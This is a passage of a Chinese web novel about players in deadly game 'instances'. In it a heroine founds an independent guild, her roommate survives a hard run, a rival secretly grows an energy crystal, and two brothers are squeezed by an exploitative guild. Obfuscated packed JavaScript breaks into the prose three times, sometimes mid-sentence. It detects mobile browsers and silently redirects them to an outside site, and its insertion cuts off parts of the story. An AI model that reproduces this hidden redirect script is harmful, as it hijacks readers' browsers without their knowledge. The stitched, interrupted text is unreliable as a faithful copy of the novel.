关于这个习俗,梁安颜说的只有一半,另外一半,是由寨中变成鬼怪侗族人告诉顾斩风的——寨子里的青年男女喜欢谁,就会用红绿色的彩色汁液或者膏体,涂抹在意中人的脸上。这痕迹,是大胆的示爱,也是过去提亲的标记。 这些鬼怪等出了副本就见不到了,自然没可能提亲,所以即便是被抹到了脸,充其量也只是一种表达好感的方式。 但,齐檎丹不同…… 他们出副本以后,还是会再见的。 齐檎丹身畔人影憧憧,来来往往,恰如顾斩风此时心绪繁杂。 顾斩风薄唇抿成一条细线,终是忍无可忍地移开视线。他打开系统背包,看向从那张地图上撕下的一角。那一角地图上白底黑字,齐檎丹用墨水写的竖弯钩,仿佛真变成了一把带小刺的钩子。 钩进心室最脆弱的软肉里,钩得他心烦意乱。 顾斩风不由得想起之前,他让叶原查齐檎丹的底细时,叶原跟他说的话:“要是我那么喜欢一个人,一天搜八百遍消息都不愿意相信他已经死了,结果却发现让我揪心这么久的死讯,只是这个人一手炮制的假消息,我也受不了。” 齐檎丹是怎么想的,他曾经毫不在意,但现在,种种思绪却突然由此而生,密密麻麻缠上心头。 齐檎丹……喜欢过他吗? 只是现在,他好像已经失去她的喜欢了。 顾斩风哪里看不出来,齐檎丹现如今的靠近,只是因为感兴趣他身上非人的蛇鳞。并非他本身。 . 最终,齐檎丹是顶着个大花脸出副本的。 考察系统治愈了身体上的创伤,却没有帮她擦掉脸上的各种彩色汁液,导致齐檎丹一出副本,就觉得脸上黏得厉害,不得不钻进洗手间里洗脸。 等到她把脸洗干净,又戴了个蒸汽眼罩,给在副本里受了苦的眼睛舒缓视疲劳后,发放通关奖励的播报还没停下来。 【基础通关奖励50000积分,直播间观众打赏积分953608积分,已为您收入背包。】 【剧情解锁度100%奖励——道具:石沛妮的刀意(稀有级)(已附着在“愤怒的长刀”上)】 【考察员级别提升至C级,“照鬼相机”技能由lv2提升至lv3】 【“照鬼相机”技能应用范围已扩大,部分功能已升级,考察员可于后续自行探索。】 【恭喜获得新头衔“崭露头角”】 …… 齐檎丹戴着眼罩,把奖励提示当背景音听。从积分收入听到头衔晋升,她想听的东西却还没听到。 不过,既然她已通关三个副本,她在等的东西,该来了。 【恭喜!解锁公会功能的条件达成!】 【个人面板上的公会标识已为您点亮。您有加入任意公会的权利,也可以创建属于自己的公会。】 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因为这些公会就算再差,也永远不缺人。 齐檎丹硬着头皮把整份名单看完,愣是一个公会也选不出来。 是她要求太高了吗?难道非要降低要求不可吗?退一万步讲,是新人,就一定要加入公会吗? 自公会出现以来的这么多年,这个观念,就被建构在人们的大脑里,就像只要是辅助类型技能的考察员,就必须要依靠其他人一样,在考察员之间,成为了某种不成文的规则。 但,一定要遵循这些规则来吗?一定要按照既有的游戏规则走吗? 齐檎丹查了下那些没加公会的人。 他们特立独行,单打独斗,对自己的能力很有信心,最后—— 死的死,死的死,死的死,死后再被当做不加入公会的反面案例,大肆宣传,说他们死于不懂团队协作,死得活该。但经历过“绿藤”蔡绿的暗害,齐檎丹很难说服自己相信,这些人的死亡真的是鬼怪导致的。 如果这些人没死,就会成为新人效仿的榜样。要是那样,他们还怎么给更多新人洗脑,让他们在恐惧的驱使下,顺从地加入公会? 齐檎丹眼底发沉。 借助团队的力量通关副本没错,但未必只有为公会所压迫这一条路可走。 齐檎丹手指轻轻敲着相机外壳,盘算着她现有的优势。她有足够响亮的名气,攒下了足够多的积分,为什么不能掀翻这个不公平的牌桌? 建立自己的规则秩序,组建自己的团队,或许会比困在局中更好一些。 可惜,现在还不到时候。 她有些遗憾。 创建公会的初始积分她攒够了,但公会成员去哪儿找?只她一个人,注定孤掌难鸣。 可是,放弃各大公会的招募,另起炉灶,无异于与这些公会为敌,势必会遭到围剿。一开局就是这样艰难的生死考验,占尽劣势,有谁愿意跟着她呢?齐檎丹陷入沉思。 耳边,系统播报奖励的声音停了,出租屋里静得让人颇不习惯。 齐檎丹随即意识到,苏意虹还没回来。以往,苏意虹一旦进了屋里,不是冲去冰箱开罐饮料犒劳自己,就是根据心情,哼哼不在调上的曲子。每次,都能很快搅得屋内的空气活泛起来。 她们上一个副本相同,被要求进副本的时间就算有先后之分,也不会差别太多。齐檎丹都出来这么久了,算算时间,苏意虹如果通关,也该要出来了。 但是为什么还没动静?会不会出什么事? 苏意虹虽然之前过了两个副本,但独立通关困难级别的副本,对她来说还是第一次。结合苏意虹进新副本之前,那股憋着一股劲的反常状态,让齐檎丹实在是有些放心不下。 齐檎丹内心忐忑起来。她第一次觉得,安静的气氛竟如此难以忍受。 被齐檎丹倒进玻璃杯里,准备庆祝苏意虹副本结束的汽水,已经快放没气了。 透明杯壁里升起的气泡数量越来越少,显然将要偃旗息鼓。连汽水中的青柠檬片,也半死不活地漂浮在液面上,被氧化染上了斑驳的铁锈色。 齐檎丹盯着那柠檬片渐趋怪异的色调看了一会儿,最终将它挑了出去。 只因其带给她的联想非常不详。 像被风干的血迹。 她不希望苏意虹有一分一毫遭遇不幸的可能,所以就算是这点征兆,齐檎丹也不愿意见到。 但,就在齐檎丹低下头,拎着那片因为氧化而接近血色的柠檬,准备丢进垃圾桶里的时候,她看见,客厅里出现了真的血迹。 鲜红色的、流动的、和漩涡状的副本出口一起出现的血迹。 ——那是,苏意虹的血迹。 71. 现实世界2 苏意虹出副本了!她还活着! 齐檎丹的心脏狂跳起来。只要苏意虹能活着出来,哪怕就剩下一口气,系统的治愈功能也会让她有生还的希望。 她想都没想,人已经大步来到了副本出口跟前,一把握住了从出口里伸出来的,那一只血淋淋的手。 双手交握,齐檎丹手上用劲,把苏意虹从出口里拉了出来。 苏意虹整个人几乎是浴血的。 她伤势很重,但幸好,有系统的修复功能在发挥作用。 每挪动一寸,苏意虹身上的鲜血和伤痕就被系统抹去一分。等苏意虹被成功拉回到现实世界里,并精疲力竭地瘫倒在地上的时候,她身体上的伤势已经全部愈合,看起来跟没事人一样。 只有见过她方才惨状的齐檎丹知道,她这次能够回来,是经历了怎样的艰辛不易。 “没事的没事的,我身上的血,有一半都不是我的。” 苏意虹眼睛亮晶晶的。 活像一只刚在苦战中打了胜仗,跑来跟人讨夸的小狗,尾巴摇成了螺旋桨,眼角眉梢都透着股得意的劲儿。 讨要夸奖之余,苏意虹不忘了告状:“不知道是哪个公会抱团进副本,被鬼追的时候跑不过我,就耍阴招,趁我没注意,拿道具往我脚上划了好长一条大口子。给我逼急了,我才发现,我的技能不是只能逃命,把手边的东西变成武器的样子,我一样能跟鬼比划两下……” 苏意虹语气轻快,仿佛之前被恶意重伤,不得已绝境求生的危机时刻,只不过是过眼云烟。 让苏意虹吃惊的是,当鬼怪的血泼到她身上的那一刹,她竟然没觉得害怕。 而是觉得轻松,觉得畅快。 原来,回击并没有想象中那么难。她也做得到。 “你这次,真的特别棒。”齐檎丹一字一句地认真夸奖。夸完,她看见苏意虹套着件全是血的衣服,终归还是有点不放心:“这么晚了,你现在一定饿了吧。赶紧进房间去换件衣服,我……” 齐檎丹在苏意虹发顶上轻轻揉了一下,不曾想,苏意虹却突然抱住了她。 那是朋友之间,一个很紧的拥抱。 紧到仿佛能将所有劫后余生的喜悦,与证明自己的激动,通过双臂勒紧的力度表达出来。 “你知道我最开心的是什么吗?”苏意虹把脸埋在齐檎丹颈窝,声音被捂得发闷,从中却能听出由衷的高兴。 “是什么?是能回来吃饭了?”齐檎丹猜不出。 “不是,才不是呢!”苏意虹用力摇头,她松开拥抱,和齐檎丹面对面,真诚而激动地看向齐檎丹的眼睛,“我活着出来了,说明我有通关的能力了。以后,我就可以帮你,不会再拖你后腿了。” 爸妈想要离婚时,她是爸妈放心不下的拖油瓶,但是这一次独立通关,证明了她今后可以不用拖任何人的后腿。 鬼怪伤口喷溅出的鲜血,淋湿了苏意虹身上的衣物,也如同一场磅礴大雨,洗去了她思想上的枷锁。尽管那生死关头的殊死一搏,让苏意虹的精神高度紧张,血管中鲜血狂涌,苏意虹却感觉,她的灵魂在这一战之中,获得了自由。 她是有能力的,是不用自卑,不用总想着躲躲藏藏的。 她也可以为自己,为他人而战。 苏意虹的个人专属技能“化妆神术”,不是战斗而生的,但只要巧用,便能提供给她三十秒钟把东西变成武器的时间。 三十秒钟的战斗时间虽然短暂,却也可以支撑起一场酣畅淋漓的战斗,有可能成为扭转局势的关键。 苏意虹享受这样的战斗。 齐檎丹不由得一噎。她没想到,苏意虹这么拼命在危险中提升能力,居然是因为她。 苏意虹眼睛亮晶晶的:“之后,你去哪里,我就去哪里。你加哪个公会,我就加哪个公会。我们在大学的时候是舍友,出来工作租房是室友,就算是进副本,我也要成为你最靠得住的战友。” 齐檎丹试探:“那我要是自己创建了一个公会呢?” 苏意虹脱口而出:“那我当然也奉陪啦!” “真的吗?”齐檎丹的态度很认真。 因为齐檎丹是真的有创建公会这个意愿,这个问题她必须要问清楚。如果苏意虹确有此意,很有可能会成为她公会里,第一个入会的成员。 “绝对保真!”苏意虹双手叉腰,豪情万丈地开始畅想未来,“以后要是你的公会做大做强了,那我就是开国元老。除了你以外的所有人,都得让着我哈哈哈哈哈。” 苏意虹仰着头笑得开怀放纵,笑声感染力极强,齐檎丹也忍俊不禁。 然而,齐檎丹很快止住了笑意,故意说道:“啊,这样就很开心了吗?那我本来打算给你点的好吃的,看来你也不稀罕了。唉,我本来想点些你爱吃的鸡翅鸡爪煲、芝心拉丝土豆球和焦糖布丁的,现在看来是不用喽。” 一说起吃的,苏意虹的吃货属性立刻原形毕露:“哎哎哎,别嘛别嘛。我只说了这件事最开心,没说美食让我不开心了啊。” 她挽着齐檎丹手臂撒娇。 还没说两句,肚子已经不争气地提起抗议。 “咕噜噜”的肠胃蠕动声在房间里响起,听得苏意虹自己都脸上发热,不好意思。 “好了,我知道了。我们公会未来的开国元老,现在还是先解决吃饭问题吧。”齐檎丹不禁失笑,她打开外卖界面,把手机抛给苏意虹:“想吃什么,自己点。” “哼哼,那我可就不跟你客气啦。”苏意虹她接过手机,开始点单: “这家鸡公煲好像是新开的吧?好想尝尝。噢噢噢这个烧腊饭看起来也不错,还有这个小烧烤我也爱吃,到时候撒点孜然辣椒粉,一定超香……好不容易回来了,我吃我吃,我要大吃特吃!” 苏意虹捧着手机,看看这个,又看看那个,在各种美食之间犹豫不决。 齐檎丹拿过手机,大气地选择了allin。 这点小钱,她花得起。 在接下来的时间里,还冒着热气的外卖接连送达。 入口即化的布丁、炖得骨头都酥了的鸡翅、烟火气浓浓的烧烤……满桌美食令人垂涎三尺。美食当前,建公会的事情暂且往后稍稍,齐檎丹往两人杯中倒上新的汽水。 各式美食的簇拥下,齐檎丹举起玻璃杯:“干杯!庆祝我们都能通关!也祝我们真能够排除万难,建起一个理想的公会!” 苏意虹刚张嘴大啃了一口鸡翅,见状,也赶忙举杯:“干杯!” 两杯相碰,声音清脆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在,游戏时间该过去了。顾斩风想。更何况,他现在还有更重要的事需要去做。在那件事上,他没法回头…… 顾斩风没有再思索下去。他的思维被从中截停阻断,无凭无依地断裂在空中。他将信件和那角地图叠在一起,依旧藏进抽屉深处。 落锁的“咔哒”声轻之又轻。 顾斩风钥匙一转,把这桩心事埋葬回深不见底的黑暗里。 顾斩风沉默着,没有再多留恋。灯光白如缟素,映得满室如同雪窟,恍如一场朴素的葬礼。下一刻,他握住桌角,拇指在桌面下轻轻一按。 隐藏的按钮被按动,带起了一连串连锁反应。 顷刻间,地下的齿轮转动起来。 地面震颤不休。 仿佛沉眠于地面下的钢铁巨兽,被赋予了生命,转瞬间发出低沉的吼声。 待到震动平息之时,研究室最中心的那块平地已然下陷。紧接着,一个可以载人的升降台,从地面凹陷的地方缓缓升起—— 这间研究室地底下,竟藏着一个不为人知的密室。 72. 现实世界3 这间密室的存在,顾斩风没有让任何人知道。 包括小队里的所有人。 这密室,是顾斩风最大的秘密。顾斩风走上升降台,升降台感应到重量,缓缓沉入地下。 紧锁的三道门逐个打开,展现在眼前的,是一个封闭的空间。 冰冷,压抑,孤寂。 只有机器运转时,几乎连成一片的轰鸣。 密室里面的装置只有一个,是一座集合了信号发射和接收功能的塔。 塔有数米之高,如同一棵覆盖着无机材质外壳的巨树,通天彻地。结构错综复杂的底部尤其庞然,几乎占据了密室里的全部空间,仿佛连周围的氧气都被挤压得稀薄。 只是刚走进密室,挡在面前的信号塔,已给人以一种窒息的错觉。 但顾斩风习以为常。 这座信号塔,正是顾斩风这些年来,苦心孤诣研究出来的设备,为的是与考察系统建立联系。 顾斩风走进密室,迎着幽微的光线,来到塔底镶嵌的电子屏前。他照例先查看了信号塔接收到的信号——今天接收到的,依旧是信息量匮乏的噪音,没有任何进展。 但顾斩风并不为之感到遗憾。相反,这已在他意料之中。 他跟齐檎丹只透露了一半。 时至今日,他已经从和考察系统联系的尝试之中,破解了联系失败的原因。 考察系统和人类之间,横亘着一道难以突破的厚屏障,信号皆无法穿透。屏障的存在,显然是为了阻碍考察系统和人类的联系,因为构造这道屏障的能量,与以虐杀人类为目的的副本世界核心同源。 不将其破开,人类与考察系统的联系永远无法实现。考察系统的作用,也只能停留在最基础的几项功能上。 而想要撕破屏障,需要一样特殊的东西。 顾斩风抬头,看向塔尖。 细瘦的塔尖上电光环绕,电光中央的培养缸里,悬浮着一块剔透的晶体。 晶体只有拇指般大小,呈半透明,通透莹润,在高处微微发着荧光,尽管离完全成形还需要一段时间,却已经能看出大致的形状轮廓。 战场如棋局,这块顾斩风亲手培育出的晶体,将成为他最重要的一步棋。 晶体里,凝聚着极纯粹的能量,在撕裂屏障、顺利连接系统上,能起到至关重要的作用。但它的凝结过程,需要副本能量参与——而副本能量被携带进现实的唯一途径,只能是化作积分等形式,与人深度绑定,最后再由人携带出副本。 除此之外,别无办法。 顾斩风把手放上操作台。瞬间,塔上紫青的电光大盛,恐怖的吸力从信号塔内部传来,通过手掌,传遍全身。 从副本里取得的收获,在短短瞬息之间,被以能量的形式从顾斩风身上强硬地剥离下来,经过仪器提纯液化,最终化作一颗晶莹液滴,顺着信号塔内的管道,滴落在晶体之上。 凝结成晶体的一角。 从个人身上强行抽取副本能量,好比抽筋剔骨的酷刑。 顾斩风脸上顷刻间失去了血色,脖颈处的青筋因忍痛凸起,鬓角冷汗渗出。强烈的痛苦刺激下,蛇鳞极速生长,越来越多暗黑色的鳞片从皮下长出,血淋淋地刺穿皮肉,刺破衣服…… 渗出的鲜血,浸透了衬衫。然而这样的剧痛,顾斩风却像经历过千万次一样平静。 从始至终,他一声不吭。 直到体内新增的副本能量被几乎抽干,只剩下足够上缴王座公会交差的那一部分之后,顾斩风才终于移开了手。 痛苦的余波还残留在神经里,顾斩风顾不得脱力的身体,第一时间抬起头,往塔尖之上望去。 距离晶体完全形成,只差最后一点了。 成功近在咫尺。 他只需要再下一次,最多两次副本,这块晶体就能够凝结成功。 晶体虽小,但晶体内浓缩的力量却极足够惊人。到时候,只需要找到一个合适的契机将晶石引爆,在短时间内呈成千上万倍爆发的能量,就能在屏障上冲开一道裂隙,制造一个和考察系统合力斩杀副本核心的机会。 顾斩风不是不知道,在副本世界核心的力量,强于系统数倍的前提下,这种合作的胜算依然微乎其微。 但,即便是一线渺茫的希望。 他也要抓在手里。 顾斩风曾经做过一个特殊的预言梦。在梦里,他看见了未来。 那不止是他的未来。那是全人类共同的未来,或者更准确恰当地说,那是人类的最后的结局。 血,到处是血。 满眼的血,满地的血。连充斥天地之间的空气,都被染成了猩红。 四处流血漂橹,方圆百里,没有一个活口。乌鸦的悲鸣撕裂天地,残肢断臂和烧焦的碎肉不分彼此,泡在血河里。除此之外,便只有鬼怪拿人类骨骼磨牙时,发出的摩擦声。 ——把人陆续拉进副本里,不是副本核心最终的目标。副本核心的那个“主神”,是打算将副本世界的容纳范围,扩大到覆盖整个地球。 借助这个悚目惊心的梦境,顾斩风可以推知一部分前因。 显然,“主神”的胃口不再只局限于负面情绪,也不愿意再留着人类的性命。 副本降临现实。 现实,则成为真正的噩梦。 末日到来,来自千万副本小世界中的鬼怪,被“主神”从副本世界中倾倒进现实,将人类生存的地球,彻底变为血腥的狩猎场。 能力强大到足够保护人类的考察员,被安排进E级副本里提前杀死。剩下的人类在数量和实力上,都远远不敌到来的鬼怪,很快便被吞噬殆尽,无人幸存。 在从这个梦里醒来之后,强烈的虚无感笼罩了顾斩风。 顾斩风觉得讽刺。如果,这就是将来的结局,那他们现在如此苦苦支撑,又有什么意义?多活一会儿,活到跟所有人一起去死吗? 被剧透的未来,卷着绝望提前入场,顾斩风却不愿向预言中的命运低头。 没有希望,那便创造一个希望。 他不会放弃。 顾斩风此前的预知梦,每一个都无比自然地成了真,顾斩风不曾阻拦。但唯独这个,顾斩风即便是竭尽全力,也希望阻止预言成真。 顾斩风的手掌缓缓攥紧成拳,以沉默,对抗预言里绝望的伏笔。然而当下,最迫切需要他面对的,是他已收到的,王座公会会长那些气急败坏的消息轰炸。 消息轰炸全方位开花。 不止邮件,顾斩风的私信也没被放过。两者都一样,被不堪入耳的破口大骂,污染得乌烟瘴气。 看来,是齐檎丹那边有行动了。 顾斩风轻轻扯了一下嘴角,弧度极浅极淡,笑意看不分明。与齐檎丹的合作已经完成,齐檎丹已经度过了暂时的危机,不再需要他了。 以齐檎丹的能力,只要稳住上一个副本,她就能得到充足的时间,回血蓄力。 如今羽翼渐丰,海阔天高。 她该大展身手了。 理论上说,他们的这次合作确实是互利的,只是,齐檎丹并非公会中的人,不清楚王座公会这个会长低劣的德行。 这次合作,虽然使顾斩风的小队完成了公会交代的任务,和齐檎丹进入了同一个副本,但现如今任务没能达到预期的效果,他们依然会成为会长问责的撒气筒。 顾斩风这个队长,首当其冲。 顾斩风非常有预见性地调低了音量,一点击发来的音频,会长的骂声就冲进耳蜗:“他丫的!你们是怎么办事的?齐檎丹这娘们儿,不是跟我们说得好好的吗?怎么转头就自己建了个公会?我看,她根本没把我们王座公会放在眼里……” 这个会长平时伪装得人五人六的,每到了暴跳如雷时,却再也藏不住戾气深重的嘴脸。 那骂的话语,跟旧时代束缚女人的裹脚布一样,又臭又长。 顾斩风却无动于衷。 他自动屏蔽了会长的辱骂,并从其中,捕捉到了他感兴趣的信息。 齐檎丹自己建了公会? 顾斩风特地点进齐檎丹的个人信息主页,进去看了一眼 齐檎丹名下,果真多了一个才刚刚通过审核的新公会,公会的名字很特殊,唤作“不知名”。 不知名公会?顾斩风不禁失笑。 这个低调收敛的名字里,透着狡猾的无辜,仿佛凭借一己之力,在考察员和所有公会中掀起轩然大.波的,不是它一样。 齐檎丹起的这个公会名字,不算太过起眼,但是她明知危险,却瞒着所有人偷偷建立公会这件事情,做得倒是很狂。很符合齐檎丹本人的调性。 另立公会,这是一般新人想都不敢想的事。 不是没有过先例。 而是那些先例,全都死了。 死得一个比一个惨。 目前现有的公会中,绝大部分是公会功能出现初期建立的,这些公会来得早,因而掌握了大部分资源。 近两年出现的公会数量极少,只有零星几个,而且多半是公会里的老会员出来成立的。公会竞争激烈,不在其他公会里蛰伏个一年半载,等到资源和人脉都差不多了,都不敢出来自立门户。 相比较之下,新人建公会毫无竞争优势。 显得莽撞又冲动。 可顾斩风不觉得,齐檎丹这样是鲁莽之举。对齐檎丹的现状来说,加入公会绝对是最保险的路。 但,保险不意味着这会是一条好的路。事实上,齐檎丹不管选择进入哪个公会,境况似乎都不会好到哪里去。 大公会大多建立在压榨会员的基础上,阶级结构严格,对底层新人往往极尽敲骨吸髓、搜刮脂膏之能。小公会相对好些,又会畏惧大公会的威逼,拒绝齐檎丹入会。 大小公会两条路,走哪条都是死路。 不走寻常路,意味着不被旧有的选择局限。也许,在两条死路面前另辟蹊径,的确有可能是破局之法。 顾斩风欣赏这种毅力魄力,却也知道,齐檎丹创建公会的动作,已经搅乱了原有的秩序。 为维护现有利益,各大公会必然下死手压制。乱局之下,氤氲着一场血雨腥风。 这场血雨,把他们都卷进去了。 谁也逃脱不掉。 . 说起公会,在“峭壁悬棺”副本里,曾经和齐檎丹组团的邱义、邱勇兄弟,近期与跟他们所在的公会产生的矛盾,已然爆发。 “你是说,我们在副本里拼死拼活挣来的那些积分和道具,这次又要全都上交?!一点不给我们留?!”弟弟邱勇被公会狮子大开口般的勒索,几乎惊掉了下巴。 他没想到,世上居然有这么无耻的要求。 公会派他们兄弟进困难副本开荒,没有为他们提供一点线索,一点帮助,每次通关后,却总是过来索要他们全部的收获。哪儿有这么不要脸的事? 副会长却气定神闲地端起茶碗,有意忽略了邱勇激烈的不满,仿佛上缴所有资源是十分天经地义的事:“理解得很透彻嘛。你们也知道,现在公会资源紧张,说什么,也得先紧着咱们公会里的主力一点。” 邱勇急切开口:“不是……他们是有资源了,那我们呢?我们怎么办?” 接下来的副本一个比一个难,他们还要继续进副本求生,手里没点保命的东西怎么行?难道,他们这些人的生命,就已经被公会放弃掉了吗? 邱勇承认,他的语气不算好,但他怎么可能不心急? 他们兄弟在这个公会里,是比较底层的成员,平时和公会高层彻底绝缘。要是想求见,不仅要提前打几十次申请,还要提着大包小包的礼物去疏通关系,好一番操作下来,才能好不容易换得一个见到副会长的机会。 如今好不容易能见一面副会长,他自然想要为自己和哥哥争取些利益。 但他没能成功。 因为副会长嘴里,依旧净说着些画大饼的空话。 副会长先掀开青花瓷的茶碗盖,慢慢地吹了吹茶水上的热气,才纡尊降贵地开嗓,打起官腔:“哎,你们这么想就不对了,既然进来公会里了,就要有为公会做贡献的自觉。不过你们也不用太担心,我保证,咱们公会接下来如果发展得好啊,肯定是不会亏待大家的。” 他越说,邱勇越觉烦躁。 兄弟俩进公会时间不短了,这些假大空的话,邱勇早就听得耳朵生茧了。然而至今为止,一丁点兑现的诚意他都没看到过。 邱勇憋闷不已,哥哥邱义则操作着面板,带头把收获给公会划了过去,并示意弟弟照做。邱勇无奈,半晌,也只能默默地把质疑咽了回去。 副会长收了兄弟俩奉上来的道具和积分,却依旧手心朝上。 见兄弟俩半天没反应,他才抿了口茶水,略显烦躁地掀了下眼皮:“少了。还有一个呢?” 邱义连忙陪着笑,好声好气地解释道:“副会长,那只是一个普通级道具。咱们公会里的主力,也看不上等级这么低的道具吧?” “拿来。”副会长眼也不抬,“普通级也要上交。” “可是……” “我说,拿来!”副会长厉声呵斥,“谁知道你们私藏道具,是想干什么?!” 这完全是欲加之罪。 邱勇一拍桌子,猛地站起:“你……” 他刚要发火,就被哥哥邱义摁着肩膀,按得坐了下去 然而,邱义拦得住弟弟,拦不住被他激怒的副会长。感到冒犯的副会长发出冷笑:“我什么我?怎么?你想要质疑我,质疑会长的决定吗?我告诉你,在我们公会里,会长的命令就是天。进了公会,就得乖乖服从命令。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15173527|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪怕性子没弟弟那么刚烈,邱义也算是看出来了,副会长是铁了心要把他们得来的东西,全都压榨干净:“但合同里写了,我们有权退出公会。” 邱义把当时签订的合同打开,翻开到对应的那一页,展开铺平到副会长眼前。 副会长却看也没看。 “呵呵,想得容易。”副会长笑了,“合同里是这么规定的,但有公会敢收留你们吗?以我们公会的影响力,我敢说,只要你们兄弟俩从我这扇门里走出去,没有地方敢留你们俩。在高难度副本里没有公会撑腰,你们就只有死路一条。” 当初,他们这帮老狐狸在拟定合同条例,就已想好了这一点。只要实际上做不到,白纸黑字的明文规定,也不过是一纸空文。 写着自由,但得不到自由,四面八方皆是桎梏。 他们逃不出公会这个囹圄。 从副会长的办公室里出来以后,邱义邱勇兄弟的心情,都异常沉重。 想当年,他们兄弟刚进副本世界的时候,也是榜上有名的新人,充满了潜力,被不同的公会争抢,两人最终选定这个公会加入时,也是满怀期待。但这些期待,最终全被辜负了。 这些大公会并没有培养他们的意图,之所以招揽他们,只是“保护性收购”。 ——只要提前把有潜力的新人纳入麾下,便不用担心他们会成长成威胁。 至于被“保护性收购”的新人本人,进了公会后便无人关心。他们被斩断发展途经,得不到发展机遇,像邱义、邱勇这样不幸遇到没良心的上级,连最基本的资源,都要从他们手中夺走。 或许,会长不是真的想将他们逼死。但这样的庞大公会,组织架构严密而臃肿,从上至下这样一级级剥削下来,油水早被瓜分完了,他们这些公会底层,只能分到一些从牙缝里漏下来的残羹冷炙。有时候,甚至连这点残羹冷炙也没有。 被强迫着冲锋陷阵去当炮灰的,是底层。被敲骨吸髓经历搜刮的,还是底层。 他们,快活不下去了。 这个公会,也没准备保护他们活下去。 这段时间里,公会里新人的死亡率越来越高,好多跟他们同一批进公会的新人,已经陆续化作一抔黄土。邱勇做不到视而不见。 邱勇再也忍不下去了:“哥,我要离开公会。我想活,不想死。” “但单打独斗不还是死。”邱义重重叹气。 不忍着,还能怎么办呢? 左右不管去哪个公会,都是被压榨的命。在这个公会熬一熬资历,或许以后,还可能稍微得到一点喘.息的空间。 邱勇看着麻木的哥哥,知道他又在习惯性地退缩。他哥哥什么都好,就是这个性格太老实。 老实往坏了说,就是懦弱。 邱义像一头沉默寡言的老黄牛,只管出力,从不多问。 但老黄牛也是会被活活累死耗死的。老黄牛踏实干活,却往往是得不到珍惜的那个。当被累死之后,他的血会被抽干,肉会被分食,连皮都要剥下来,拿去市场上卖个好价钱。 哥哥在上一家公司的时候,就是被这样被压榨的,公司拖欠他好几个月工资不给,却还要将最累最棘手的活交给他干。当时,要不是他这个做弟弟的站出来,帮着哥哥讨工资和跳槽,哥哥还不知道要忍耐到什么时候。 原公司资本家那副骂骂咧咧的丑陋嘴脸,邱勇至今仍记得清清楚楚。 没想到,他们在副本外被无良企业家压迫,副本里还要被无良公会欺压,副本内外的处境都一片灰暗,让人心灰意冷。 邱勇和哥哥不一样,他不想忍,想要探索到一条新的出路。 至少,能有个活命的机会。 他锲而不舍地翻着公会的列表,试图找到一个合适的公会投递他们兄弟的信息。 邱勇的条件只有两条,非常简单。 他不敢奢求不被压榨,只要有个可以接受他们,不对他们压榨得那么狠,愿意给他们一条活路的就好。 为了找这样一个公会,邱勇沿着公会列表从白天翻到黑夜,一有条件可能符合的就去咨询。可是,即便他已经把要求放得这么低了,竟然也没有找到一个符合的。 看着弟弟为了找寻适合的公会,把眼睛折磨得疲惫酸涩,邱义忍不住劝:“弟弟,要不然,咱们就甭看了吧。还是继续待在这里,再忍忍……” “再忍下去就没命了!” 邱勇内心烦躁不已,音调忍不住猛然拔高,开完口,他立刻感到歉意。但也就在这时,邱勇从密密麻麻的公会名单里,刷新到了一个新的公会。 “不知名公会?”邱勇被这个平凡得有意思的名字,逗笑了一下。刚条件反射性的点进去,他就看见了会长那一栏上熟悉的名字。 会长那边,赫然写着齐檎丹的大名。 “哥,你看。”邱勇诧异道,“这不是齐檎丹吗?在‘峭壁悬棺’那个副本里,和我们一起组过队的。而且除了会长以外,已经有一个会员入会了。” 看不到具体名字,但是想想就能知道,这个会员必然是苏意虹。 都是他们的熟人。 这让邱勇紧皱的眉头,终于有了一丝舒展。这两人性格他知道,都好相处,连入会之后的磨合都免了。 “但她们能收留我们入会吗?”邱义小心翼翼地,顾虑着副会长的威胁,“万一退了这个公会,加入了她们的,她们再把我们拒之门外,我们那可就哪里都没地方去了。” “试试呗,不试试怎么知道。”邱勇盯着这个公会的简介看了又看,这么说着,却没什么动作。 他估计,只要他们兄弟俩向这个“不知名”公会投递信息,大概率是可以被通过的。 齐檎丹得罪的人,可比他们多多了。 邱勇知道,他们现在这个公会,也曾经向齐檎丹抛出过橄榄枝。然而,那封招募信如果不是被删掉,就是积压在齐檎丹公会邮箱里,成为被她放到烂掉的初始邮件之一。就算没有招募他们,齐檎丹跟他们公会的这个梁子,也是结下了。 一下子得罪这么多大小公会,齐檎丹这个新生公会的境遇,估计不太好过。这正是令邱勇犹豫不决的原因。 但,他们实在是走投无路了。 想要离开当前这个公会,加入新公会,“不知名公会”是唯一的选择。 邱勇还陷在艰难的考虑当中,可没想到,他那个老实巴交的哥哥邱义,却一反常态地点了头:“加吧。都这样了,再糟,还能糟糕到哪里去呢?” 来自无良公会内部的层层盘剥压迫,甚于猛虎,比公会外的敌人可怕。 横竖是死,死在自己人的手里,还更寒心。 再说了,齐檎丹给他们留下的印象很不错,之前还救过弟弟邱勇的命,就算她当上了会长以后,再怎么膨胀,应该也不至于坏到哪里去……吧? 73. 现实世界4 “嗯?这么快就有人加了?”齐檎丹刚刚扒了两口饭,便被有人申请入会的提示声打断。 按理齐檎丹原先的预计,但凡有点余裕的考察员,现在应该还在观望当中才是,这么急着加入一个不清楚底细的新公会的,会是什么样的人? 齐檎丹立刻来了兴趣。 她停下筷子,点进“不知名公会”的管理界面。 两个申请人齐檎丹都认识,她还记得邱义、邱勇这对兄弟。“峭壁悬棺”副本里,兄弟俩因为她的救命之恩,加入了她的团队,他们也因此正式结识。 齐檎丹二话不说,就通过了他们的入会申请。 